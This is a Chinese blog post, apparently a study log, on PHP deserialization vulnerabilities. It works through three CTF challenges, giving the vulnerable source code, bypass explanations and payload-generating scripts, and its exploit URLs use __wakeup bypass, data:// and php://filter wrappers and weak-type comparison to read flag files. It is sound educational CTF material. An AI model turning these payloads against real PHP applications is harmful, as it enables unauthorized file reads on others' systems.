php反序列化学习记录

php反序列化,学了忘,忘了学,其实之前没学会,最后再学亿次吧,这次希望自己能够学会。

0x00 什么是序列化和反序列化

  序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。反序列化则相反将字符串重新恢复成对象
  对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

0x01 序列化中常见的魔法函数

__construct()
实例化对象时被调用, 当__construct和以类名为函数名的函数同时存在时,__construct将被调用,另一个不被调用。
__destruct()
当删除一个对象或对象操作终止时被调用。
__call()
对象调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
__toString()
当一个对象被当作一个字符串使用
__sleep()
在对象在被序列化之前运行
__wakeup
将在序列化之后立即被调用
__get()
读取一个对象的属性时,若属性存在,则直接返回属性值; 若不存在,则会调用__get函数。
__set()
设置一个对象的属性时, 若属性存在,则直接赋值; 若不存在,则会调用__set函数
__invoke()
当脚本尝试将对象调用为函数时触发
__clone()
克隆对象时被调用。
__autoload() 或 spl_autoload_register()
实例化一个对象时,如果对应的类不存在,则该方法被调用。

0x02 CTF练习一([极客大挑战 2019]PHP)

下载源码 www.zip
index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

代码分析

  1. 当序列化时会调用 __wakeup()函数,改变变量 $username的赋值,这时需要绕过 __wakeup()函数,当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。
  2. 被private访问控制修饰符的属性 进行序列化时,格式是\00类名\00成员名 \00是不可见字符,传参时需要进行url编码成%00,否则会报错。
  3. 令password=100 或者 password=“100”

payload

<?php

class Name{
   private $username = "admin";
   private $password = "100";
}
$a = serialize(new Name);
echo $a;
echo "\n\n";
echo urlencode($a);

?>

//输出 O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

运行截图在这里插入图片描述
将属性个数更改为2以上均可
在这里插入图片描述

0x03 CTF练习二([ZJCTF 2019]NiZhuanSiWei)

index.php

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

useless.php

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

代码分析

1、 file_get_contents() 函数把整个文件读入一个字符串中,根据代码要求是要读一个文件里面的内容要是 “welcome to the zjctf” ,可以使用 data://text/plain;base64
2、 include($file); //useless.php 使用 php://filter/read=convert.base64-encode/resource=file读取 useless.php文件内容
3、 useless.php 中__tostring()函数作用是 file_get_contents()读取输出,echo $password; 可以构造 $password为一个序列化的对象,当对象被输出时,序列化的对象被当做是字符串,继而触发 __toString()魔法函数。

payload

<?php

class FLag{
    public $file='flag.php';
}
$a = serialize(new Flag);
echo $a;

?>

//输出 O:4:"FLag":1:{s:4:"file";s:8:"flag.php";}

http://221a900c-0f29-4160-bb67-564b995ecd11.node4.buuoj.cn:81/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22FLag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}

在这里插入图片描述

0x04 CTF练习三([网鼎杯 2020 青龙组]AreUSerialz)

index.php

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

代码分析

1、process() 函数中存在两个操作当 $op等于"1"时执行write()函数, $ op等于"2"时执行read()函数。重点看read()函数 file_get_contents($this->filename); 可以读取文件中的内容。
2、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
  a. PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
  b. private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
3、__destruct()绕过,当 $op强等于"2"时会被重新赋值为"1",可以利用php的弱类型使得 $op弱等于int类型的 2
————————————————
版权声明:本文为CSDN博主「FTOrange」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/Oavinci/article/details/106998738

payload

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "flag.php";
    //public  $filename = "php://filter/read=convert.base64-encode/resource=flag.php"
    public  $content = "oavinci";
 
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
 
?>
//输出 
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

http://fd59bb17-9985-4253-bea2-fba8286705a5.node4.buuoj.cn:81/?str=O:11:%22FileHandler%22:3:{s:2:%22op%22;i:2;s:8:%22filename%22;s:8:%22flag.php%22;s:7:%22content%22;s:7:%22111%22;}
在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值